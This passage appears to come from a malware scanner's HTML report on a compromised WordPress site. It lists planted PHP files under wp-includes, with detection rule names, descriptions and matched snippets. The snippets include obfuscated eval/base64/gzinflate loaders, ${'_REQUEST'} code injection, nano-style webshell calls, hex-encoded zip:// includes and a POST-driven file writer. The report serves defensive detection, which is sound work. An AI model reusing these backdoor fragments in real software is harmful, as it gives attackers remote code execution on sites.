</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_13").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/blocks/post-author-biography/post-author-biography/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 408.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:14:52</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:14:52</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_14" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$u</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit nano <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Nano is a family of PHP webshells which are code golfed to be extremely stealthy and efficient</p><p><i>[<a href="https://github.com/s0md3v/nano" target="_blank" class="text-primary">https://github.com/s0md3v/nano</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">$u</span><span style="color: #007700">[</span><span style="color: #0000BB">1</span><span style="color: #007700">](</span><span style="color: #0000BB">$u</span><span style="color: #007700">[</span><span style="color: #0000BB">2</span><span style="color: #007700">])</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_14").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/blocks/spacer/spacer/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.52 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:48</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:48</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_15" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'gpOFQmA/TBRGgvd4b9kNlVIrky4lU9eGo38/xHOW73v98jnZwDfH8xZGA3fc85TPOK+f6gTP8xKPJXvpWThPo1+B0pK15VZBe/oTXt+o/fblDvfjGn4lLe7ubeVtLf8pD0dI794Nx+qjXF88p2fMTKJs92oM1/6tu4v3Xs90F39NndjSArhNHuSC318XNjky8dzn+j+1skPvatDQFsHUOT0rZlxLdN2LgA8m4fQhRRVbOQmov+vuUvV9580l2TOPQuDnxMqIF8tg8DuwRMmJq/gAYsRJAJ5IZr4QcSc6WGhXgtVYa0eKz/UsC0xuSOhyA1oLG9uLubH1y7WTHZX82nw2Ddaim/t44LvuJM9tqWtWRKnNbwNY52CC3td5Z/Ti95z2vTz+cnHe9yZevNyn9FEK1oYLoaua+9UUretg+x2VhTmXinSg09tXH/NV9r50vzOA9DooaatBJAHW8TsAVzFc2WRwP1C+MiHxz19DiZX8xUKvuk4...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$iCr</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_15").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/blocks/block/block/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.52 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:15:15</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:15:15</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_16" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'QR6IEvf4PKI2A8tHcrlohsCZ1UGvkq2zQ3hnO96p695hXe/hb0x7+v9qe25vLc6Dvzbf0JHct8vU7vugjo4tafPaV+b5m5tkM/4t3e+2j3/Bnc1Gl4lLe7uzebtLf8pDUsQ784Nh/2jXl98p2fMTKhs92oM1/6tu4v3Xs90F3jNndjSArhMjRph5S+rmZyx8u5T/Z/aU6nXt+BoA2jKVB61u6YlsL7FgIeTkHIwqoKNHI20X73Yq/qpseaS7JnnK/BzYOVoc3EjMNuwRAmhqzgAYkRJ8JZNRCxrY540tMCvArqvww9lh/RYF4hdl8DkGKRXM6jXA3Orh3thKyu4tfetD60FNvb61HYtjHHtqWtWBLrNDwOY9Bcx42u6s/JB+y173h5ftFNf70r9SLkOjLIVqBxXUld147RpW9aB9jtqGnNuI/Huq9avKubr+3wobrdG+XQa1kaCSAOkcnYAqWKoo90gbqp8ZUPin77HAju4j5IedZBn...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$rmBpI</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_16").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/L4P2yIvUrma.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 28.35 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:32:17</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:32:17</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 6</span><br><table id="file_17" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit download_remote_code2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 652</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RFU (Remote File Upload), via HTTP, allow to write malicious code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">fwrite </span><span style="color: #007700">(</span><span style="color: #0000BB">$fp</span><span style="color: #007700">, </span><span style="color: #0000BB">$_POST </span><span style="color: #007700">[</span><span style="color: #DD0000">'new'</span><span style="color: #007700">])</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str2 = '</span><span style="color: #007700">Array(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str3 = '</span><span style="color: #007700">@</span><span style="color: #0000BB">$isbot</span><span style="color: #DD0000">'; $search_str4 = '</span><span style="color: #007700">@require</span><span style="color: #DD0000">'; $search_str5 = '</span><span style="color: #007700">eval(</span><span style="color: #0000BB">gzuncompress</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str6 = '</span><span style="color: #007700">@include </span><span style="color: #DD0000">"\x2'; </span><span style="color: #0000BB">$search_str7</span><span style="color: #DD0000"> = '</span><span style="color: #0000BB">$OO</span><span style="color: #DD0000">'; </span><span style="color: #0000BB">$search_str8</span><span style="color: #DD0000"> = 'cache=00'; </span><span style="color: #0000BB">$search_str9</span><span style="color: #DD0000"> = 'file_get_contents(\"../index.php\")</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #DD0000">'; $search_str12 = '</span><span style="color: #0000BB">multipart</span><span style="color: #007700">/</span><span style="color: #0000BB">form</span><span style="color: #007700">-</span><span style="color: #0000BB">data</span><span style="color: #DD0000">'; if (!file_exists($finderdata_path)</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str2 = '</span><span style="color: #007700">Array(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str3 = '</span><span style="color: #007700">@</span><span style="color: #0000BB">$isbot</span><span style="color: #DD0000">'; $search_str4 = '</span><span style="color: #007700">@require</span><span style="color: #DD0000">'; $search_str5 = '</span><span style="color: #007700">eval(</span><span style="color: #0000BB">gzuncompress</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str6 = '</span><span style="color: #007700">@include </span><span style="color: #DD0000">"\x2'; </span><span style="color: #0000BB">$search_str7</span><span style="color: #DD0000"> = '</span><span style="color: #0000BB">$OO</span><span style="color: #DD0000">'; </span><span style="color: #0000BB">$search_str8</span><span style="color: #DD0000"> = 'cache=00'; </span><span style="color: #0000BB">$search_str9</span><span style="color: #DD0000"> = 'file_get_contents(\"../index.php\")"'; $search_str10 = '</span><span style="color: #0000BB">is_uploaded_file</span><span style="color: #DD0000">'; $search_str11 = '</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #DD0000">'; $search_str12 = '</span><span style="color: #0000BB">multipart</span><span style="color: #007700">/</span><span style="color: #0000BB">form</span><span style="color: #007700">-</span><span style="color: #0000BB">data</span><span style="color: #DD0000">'; if (!file_exists($finderdata_path)) { $arr_php_file = findshells($_SERVER['</span><span style="color: #0000BB">DOCUMENT_</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 279</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 294</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">arr_php_file </span><span style="color: #007700">= </span><span style="color: #0000BB">findshells</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SERVER</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 689d8acc <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 65</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 689d8acc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">if (isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'juke'</span><span style="color: #007700">]))
<br />{
<br /> </span><span style="color: #0000BB">$arr_files </span><span style="color: #007700">= </span><span style="color: #0000BB">DirFilesR</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SERVER</span><span style="color: #007700">[</span><span style="color: #DD0000">'DOCUMENT_ROOT'</span><span style="color: #007700">]);</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_17").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/css/dist/dist/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.51 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:39</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:39</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_18" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'AV8g3fP8PFEZA+2Bv1T2YWhsSCjXS27pgd/jn//o1e5RXewFG65f/Pvrvs95m2+4XHbjH7wnP+iu/GqfY5X08WsvvtuMNc561jTO6mtns372d4aX/RLe583ubi3c7yHXqAXP0uNejkv14VJHfq7LTkRErvNOz9uarL//9FpHtx/cjZ0okwdMThrEwdNzkzI90f2w5/oTNL6/LW5MEB6FlTLyltw0lvAj1hBej0Lggo0iNHPtUX5/oqy2ab6M10U6PQmxnyF2A7kt/dOAxkScDUghAyBDDHJeGGEaP3slZY5YfFHHuv8/LGrDhMrnLIMQJKCTfci7+ht9mF0T6VvBw/9RrGv5DbO/srT8bHrsVLVp6KzEUCWvHvwdrXd23kQf56974sv0+Wve50evNSn5FEK1oYLoKua+9YUretg+52RhDmXiHiv02MXH/NV9r/0v9OB9DoraStBJAHScTsAVjFU2WWwPxM+MiHxz19DuZn8xUMvukwz...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$HjxX</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_18").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/css/dist/dist/dist/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 366.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:14:52</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:14:52</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_19" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$Z</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit silence_inclusion <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>LFI (Local File Inclusion), through a silent inclusion, allow remote attackers to inject and execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">@require </span><span style="color: #DD0000">"\x7a\x69\x70\x3a\x2f\x2f\x69\x63\x6f\x5f\x36\x39\x37\x38\x37\x33\x66\x63\x33\x30\x66\x66\x64\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x37\x38\x37\x33\x66\x63\x33\x30\x66\x66\x64\x2e\x74\x6d\x70"</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 5aabe84e <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 5aabe84e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">require </span><span style="color: #DD0000">"zip:</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_19").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/css/dist/dist/dist/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 408.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:14:52</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:14:52</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_20" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$Z</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_20").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/css/dist/block-library/block-library/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 371.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:52</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:52</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_21" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$m</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit silence_inclusion <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>LFI (Local File Inclusion), through a silent inclusion, allow remote attackers to inject and execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">@include_once </span><span style="color: #DD0000">"\x7a\x69\x70\x3a\x2f\x2f\x69\x63\x6f\x5f\x36\x39\x37\x38\x37\x31\x61\x34\x31\x66\x33\x34\x39\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x37\x38\x37\x31\x61\x34\x31\x66\x33\x34\x39\x2e\x74\x6d\x70"</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 5aabe84e <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 5aabe84e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">include_once </span><span style="color: #DD0000">"zip:</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_21").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/css/dist/block-library/block-library/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 413.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:52</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:52</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_22" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$m</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit nano <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Nano is a family of PHP webshells which are code golfed to be extremely stealthy and efficient</p><p><i>[<a href="https://github.com/s0md3v/nano" target="_blank" class="text-primary">https://github.com/s0md3v/nano</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">$m</span><span style="color: #007700">[</span><span style="color: #0000BB">1</span><span style="color: #007700">](</span><span style="color: #0000BB">$m</span><span style="color: #007700">[</span><span style="color: #0000BB">2</span><span style="color: #007700">])</span>
</span>
